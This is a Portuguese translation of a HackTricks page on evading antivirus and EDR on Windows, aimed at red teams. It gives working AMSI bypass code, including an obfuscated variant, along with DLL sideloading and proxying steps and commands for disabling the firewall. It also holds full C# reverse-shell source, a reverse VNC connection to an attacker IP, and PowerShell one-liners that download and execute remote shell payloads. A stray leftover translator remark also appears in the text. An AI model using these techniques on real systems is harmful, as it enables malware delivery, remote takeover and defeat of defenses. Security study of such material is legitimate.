hacktricks/windows-hardening/av-bypass.md

34 KiB

Antivirus (AV) Bypass

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Esta página foi escrita por @m2rc_p!

Metodologia de Evasão de AV

Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é malicioso ou não, detecção estática, análise dinâmica e, para os EDRs mais avançados, análise comportamental.

Detecção estática

A detecção estática é alcançada marcando strings maliciosas conhecidas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo, descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer com que você seja pego mais facilmente, pois provavelmente foram analisadas e marcadas como maliciosas. Existem algumas maneiras de contornar esse tipo de detecção:

  • Criptografia

Se você criptografar o binário, não haverá como o AV detectar seu programa, mas você precisará de algum tipo de carregador para descriptografar e executar o programa na memória.

  • Ofuscação

Às vezes, tudo o que você precisa fazer é alterar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada, dependendo do que você está tentando ofuscar.

  • Ferramentas personalizadas

Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins conhecidas, mas isso leva muito tempo e esforço.

{% hint style="info" %} Uma boa maneira de verificar contra a detecção estática do Windows Defender é ThreatCheck. Basicamente, ele divide o arquivo em vários segmentos e, em seguida, solicita ao Defender para escanear cada um individualmente, assim, ele pode dizer exatamente quais são as strings ou bytes marcados no seu binário. {% endhint %}

Eu recomendo fortemente que você confira esta playlist do YouTube sobre Evasão de AV prática.

Análise dinâmica

Análise dinâmica é quando o AV executa seu binário em uma sandbox e observa atividades maliciosas (por exemplo, tentar descriptografar e ler as senhas do seu navegador, realizar um minidump no LSASS, etc.). Esta parte pode ser um pouco mais complicada de lidar, mas aqui estão algumas coisas que você pode fazer para evitar sandboxes.

  • Dormir antes da execução Dependendo de como é implementado, pode ser uma ótima maneira de burlar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar longos períodos de espera pode perturbar a análise de binários. O problema é que muitas sandboxes de AVs podem simplesmente ignorar a espera, dependendo de como é implementado.
  • Verificação dos recursos da máquina Geralmente, as Sandboxes têm muito poucos recursos disponíveis (por exemplo, < 2GB de RAM), caso contrário, elas poderiam desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até a velocidade dos ventiladores, nem tudo será implementado na sandbox.
  • Verificações específicas da máquina Se você quer mirar em um usuário cuja estação de trabalho está unida ao domínio "contoso.local", você pode fazer uma verificação no domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.

Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador no seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro da sandbox do defender, então você pode fazer seu programa sair.

fonte: https://youtu.be/StSLxFbVz0M?t=1439

Algumas outras dicas muito boas de @mgeeky para lidar com Sandboxes

Red Team VX Discord canal #malware-dev

Como dissemos antes neste post, ferramentas públicas eventualmente serão detectadas, então, você deve se perguntar algo:

Por exemplo, se você quer fazer um dump do LSASS, você realmente precisa usar mimikatz? Ou você poderia usar um projeto diferente que é menos conhecido e também faz o dump do LSASS.

A resposta correta é provavelmente a última. Tomando mimikatz como exemplo, é provavelmente uma das peças de malware mais marcadas pelos AVs e EDRs, enquanto o próprio projeto é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.

{% hint style="info" %} Ao modificar seus payloads para evasão, certifique-se de desativar a submissão automática de amostras no defender, e por favor, sério, NÃO FAÇA UPLOAD PARA O VIRUSTOTAL se seu objetivo é alcançar a evasão a longo prazo. Se você quer verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até estar satisfeito com o resultado. {% endhint %}

EXEs vs DLLs

Sempre que possível, sempre priorize o uso de DLLs para evasão, na minha experiência, arquivos DLL geralmente são muito menos detectados e analisados, então é um truque muito simples de usar para evitar detecção em alguns casos (se seu payload tem alguma forma de rodar como uma DLL, claro).

Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 em antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.

comparação antiscan.me de um payload EXE normal do Havoc vs um payload DLL normal do Havoc

Agora vamos mostrar algumas técnicas que você pode usar com arquivos DLL para ser muito mais discreto.

DLL Sideloading & Proxying

DLL Sideloading aproveita a ordem de busca de DLL usada pelo carregador, posicionando tanto o aplicativo vítima quanto os payloads maliciosos um ao lado do outro.

Você pode verificar programas suscetíveis a DLL Sideloading usando Siofra e o seguinte script powershell:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

Este comando irá gerar a lista de programas suscetíveis a DLL hijacking dentro de "C:\Program Files\" e os arquivos DLL que eles tentam carregar.

Eu recomendo fortemente que você explore programas suscetíveis a Hijack/Sideload de DLL por conta própria, essa técnica é bastante discreta quando feita corretamente, mas se você usar programas conhecidos publicamente que permitem Sideload de DLL, você pode ser facilmente detectado.

Apenas colocando uma DLL maliciosa com o nome que um programa espera carregar, não irá executar seu payload, pois o programa espera algumas funções específicas dentro dessa DLL, para resolver esse problema, usaremos outra técnica chamada DLL Proxying/Forwarding.

DLL Proxying encaminha as chamadas que um programa faz do proxy (e malicioso) DLL para a DLL original, preservando assim a funcionalidade do programa e sendo capaz de gerenciar a execução do seu payload.

Eu estarei usando o projeto SharpDLLProxy de @flangvik

Estes são os passos que segui:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

O último comando nos fornecerá 2 arquivos: um template de código-fonte DLL e a DLL original renomeada.

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

Estes são os resultados:

Tanto o nosso shellcode (codificado com SGN) quanto a DLL proxy têm uma taxa de detecção de 0/26 no antiscan.me! Eu chamaria isso de um sucesso.

{% hint style="info" %} Eu recomendo fortemente que você assista ao VOD do twitch de S3cur3Th1sSh1t sobre DLL Sideloading e também ao vídeo do ippsec para aprender mais profundamente sobre o que discutimos. {% endhint %}

Freeze

Freeze é um kit de ferramentas de payload para burlar EDRs usando processos suspensos, syscalls diretas e métodos alternativos de execução

Você pode usar o Freeze para carregar e executar seu shellcode de maneira furtiva.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
A evasão é apenas um jogo de gato e rato, o que funciona hoje pode ser detectado amanhã, então nunca dependa de apenas uma ferramenta, se possível, tente encadear múltiplas técnicas de evasão.
{% endhint %}

## AMSI (Interface de Verificação de Anti-Malware)

AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless\_malware)". Inicialmente, os antivírus eram apenas capazes de escanear **arquivos em disco**, então se você conseguisse de alguma forma executar payloads **diretamente na memória**, o antivírus não poderia fazer nada para prevenir isso, pois não tinha visibilidade suficiente.

O recurso AMSI está integrado nestes componentes do Windows.

* Controle de Conta de Usuário, ou UAC (elevação de EXE, COM, MSI ou instalação de ActiveX)
* PowerShell (scripts, uso interativo e avaliação de código dinâmico)
* Windows Script Host (wscript.exe e cscript.exe)
* JavaScript e VBScript
* Macros VBA do Office

Ele permite que soluções antivírus inspecionem o comportamento de scripts expondo o conteúdo dos scripts de forma descriptografada e desofuscada.

Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produzirá o seguinte alerta no Windows Defender.

<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>

Note como ele antepõe `amsi:` e depois o caminho para o executável a partir do qual o script foi executado, neste caso, powershell.exe

Não deixamos nenhum arquivo em disco, mas ainda assim fomos pegos na memória por causa do AMSI.

Existem algumas maneiras de contornar o AMSI:

* **Ofuscação**

Como o AMSI trabalha principalmente com detecções estáticas, modificar os scripts que você tenta carregar pode ser uma boa maneira de evitar detecção.

No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenham múltiplas camadas, então a ofuscação pode ser uma má opção dependendo de como é feita. Isso torna a evasão não tão direta. Embora, às vezes, tudo o que você precisa fazer é mudar alguns nomes de variáveis e você estará bem, então depende de quanto algo foi marcado.

* **Bypass do AMSI**

Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível adulterá-lo facilmente mesmo executando como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, pesquisadores encontraram várias maneiras de evitar a varredura do AMSI.

**Forçando um Erro**

Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em nenhuma varredura sendo iniciada para o processo atual. Originalmente isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir o uso mais amplo.

{% code overflow="wrap" %}
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

Bastou uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Essa linha, claro, foi sinalizada pelo próprio AMSI, então alguma modificação é necessária para utilizar essa técnica.

Aqui está um bypass do AMSI modificado que peguei deste Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Tenha em mente que isso provavelmente será marcado assim que este post for publicado, então você não deve publicar nenhum código se o seu plano for permanecer indetectado.

Memory Patching

Esta técnica foi inicialmente descoberta por @RastaMouse e envolve encontrar o endereço para a função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-la com instruções para retornar o código para E_INVALIDARG, dessa forma, o resultado da verificação real retornará 0, que é interpretado como um resultado limpo.

{% hint style="info" %} Por favor, leia https://rastamouse.me/memory-patching-amsi-bypass/ para uma explicação mais detalhada. {% endhint %}

Existem também muitas outras técnicas usadas para burlar o AMSI com powershell, confira esta página e este repositório para aprender mais sobre elas.

Ou este script que, através de memory patching, irá corrigir cada novo Powersh

Ofuscação

Existem várias ferramentas que podem ser usadas para ofuscar código C# em texto claro, gerar modelos de metaprogramação para compilar binários ou ofuscar binários compilados, tais como:

  • InvisibilityCloak: Ofuscador de C#
  • Obfuscator-LLVM: O objetivo deste projeto é fornecer um fork de código aberto do conjunto de compilação LLVM capaz de proporcionar maior segurança de software através da ofuscação de código e proteção contra adulteração.
  • ADVobfuscator: ADVobfuscator demonstra como usar a linguagem C++11/14 para gerar, no momento da compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
  • obfy: Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja crackear a aplicação um pouco mais difícil.
  • Alcatraz: Alcatraz é um ofuscador de binários x64 capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
  • metame: Metame é um motor de código metamórfico simples para executáveis arbitrários.
  • ropfuscator: ROPfuscator é um framework de ofuscação de código de granulação fina para linguagens suportadas pelo LLVM usando ROP (return-oriented programming). ROPfuscator ofusca um programa no nível do código assembly transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
  • Nimcrypt: Nimcrypt é um Crypter .NET PE escrito em Nim
  • inceptor: Inceptor é capaz de converter EXE/DLL existentes em shellcode e depois carregá-los

SmartScreen & MoTW

Você pode ter visto esta tela ao baixar alguns executáveis da internet e executá-los.

O Microsoft Defender SmartScreen é um mecanismo de segurança destinado a proteger o usuário final contra a execução de aplicativos potencialmente maliciosos.

O SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicativos baixados incomumente acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em Mais Informações -> Executar assim mesmo).

MoTW (Marca da Web) é um NTFS Alternate Data Stream com o nome de Zone.Identifier que é automaticamente criado ao baixar arquivos da internet, juntamente com a URL de onde foi baixado.

Verificando o ADS Zone.Identifier para um arquivo baixado da internet.

{% hint style="info" %} É importante notar que executáveis assinados com um certificado de assinatura confiável não acionarão o SmartScreen. {% endhint %}

Uma maneira muito eficaz de evitar que seus payloads recebam a Marca da Web é empacotá-los dentro de algum tipo de contêiner, como um ISO. Isso acontece porque a Marca-da-Web (MOTW) não pode ser aplicada a volumes não NTFS.

PackMyPayload é uma ferramenta que empacota payloads em contêineres de saída para evitar a Marca-da-Web.

Exemplo de uso:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Aqui está uma demonstração de como burlar o SmartScreen empacotando cargas úteis dentro de arquivos ISO usando PackMyPayload

Reflexão de Assembly C#

Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas de pós-exploração sem ser detectado pelo AV.

Como a carga útil será carregada diretamente na memória sem tocar no disco, só precisaremos nos preocupar em corrigir o AMSI para todo o processo.

A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já oferece a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:

  • Fork&Run

Envolve criar um novo processo sacrificial, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre fora do nosso processo de implantação do Beacon. Isso significa que, se algo na nossa ação de pós-exploração der errado ou for detectado, há uma chance muito maior de nosso implante sobreviver. A desvantagem é que você tem uma maior chance de ser pego por Detecções Comportamentais.

  • Inline

Trata-se de injetar o código malicioso de pós-exploração em seu próprio processo. Dessa forma, você pode evitar ter que criar um novo processo e ser escaneado pelo AV, mas a desvantagem é que, se algo der errado com a execução da sua carga útil, há uma chance muito maior de perder seu beacon, pois ele pode travar.

{% hint style="info" %} Se você quiser ler mais sobre carregamento de Assembly C#, por favor, confira este artigo https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ e seu InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

Você também pode carregar Assemblies C# do PowerShell, confira Invoke-SharpLoader e o vídeo de S3cur3th1sSh1t.

Usando Outras Linguagens de Programação

Como proposto em https://github.com/deeexcee-io/LOI-Bins, é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo Atacante.

Ao permitir acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode executar código arbitrário nessas linguagens na memória da máquina comprometida.

O repositório indica: Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP etc., temos mais flexibilidade para burlar assinaturas estáticas. Testes com scripts de shell reverso aleatórios e não ofuscados nessas linguagens se mostraram bem-sucedidos.

Evasão Avançada

Evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectado em ambientes maduros.

Cada ambiente contra o qual você luta terá seus próprios pontos fortes e fracos.

Eu recomendo fortemente que você assista a esta palestra de @ATTL4S, para obter uma introdução a técnicas mais avançadas de Evasão.

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

Esta é também outra ótima palestra de @mariuszbit sobre Evasão em Profundidade.

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

Técnicas Antigas

Verificar quais partes o Defender identifica como maliciosas

Você pode usar ThreatCheck que irá remover partes do binário até descobrir qual parte o Defender está identificando como maliciosa e dividir para você.
Outra ferramenta fazendo a mesma coisa é avred com um serviço web aberto oferecido em https://avred.r00ted.ch/

Servidor Telnet

Até o Windows10, todos os Windows vinham com um servidor Telnet que você poderia instalar (como administrador) fazendo:

pkgmgr /iu:"TelnetServer" /quiet

Faça com que inicie quando o sistema for iniciado e execute agora:

sc config TlntSVR start= auto obj= localsystem

Alterar porta do telnet (stealth) e desativar firewall:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Baixe em: http://www.uvnc.com/downloads/ultravnc.html (você quer os downloads bin, não o setup)

NO HOST: Execute winvnc.exe e configure o servidor:

  • Ative a opção Disable TrayIcon
  • Defina uma senha em VNC Password
  • Defina uma senha em View-Only Password

Em seguida, mova o binário winvnc.exe e o arquivo UltraVNC.ini recém-criado para dentro do vítima

Conexão reversa

O atacante deve executar dentro de seu host o binário vncviewer.exe -listen 5900 para que esteja preparado para capturar uma conexão VNC reversa. Então, dentro da vítima: Inicie o daemon winvnc winvnc.exe -run e execute winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

AVISO: Para manter a discrição você não deve fazer algumas coisas

  • Não inicie winvnc se já estiver em execução ou você acionará um popup. Verifique se está em execução com tasklist | findstr winvnc
  • Não inicie winvnc sem UltraVNC.ini no mesmo diretório ou isso causará a janela de configuração a abrir
  • Não execute winvnc -h para ajuda ou você acionará um popup

GreatSCT

Baixe em: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Dentro do GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Agora inicie o lister com msfconsole -r file.rc e execute o payload xml com:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

O Defender atual encerrará o processo muito rapidamente.

Compilando nosso próprio reverse shell

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Primeiro Revershell em C#

Compile-o com:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Utilize-o com:

back.exe <ATTACKER_IP> <PORT>
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

Como solicitado, não traduzirei o link fornecido, nomes de técnicas de hacking, palavras específicas de hacking, nomes de plataformas de nuvem/SaaS, a palavra 'leak', pentesting e as tags de markdown. Não há texto em inglês adicional fornecido para tradução. Se você tiver um texto específico que precisa ser traduzido, por favor, forneça-o.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Download e execução automáticos:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

Lista de ofuscadores C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Outras ferramentas

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Mais

{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: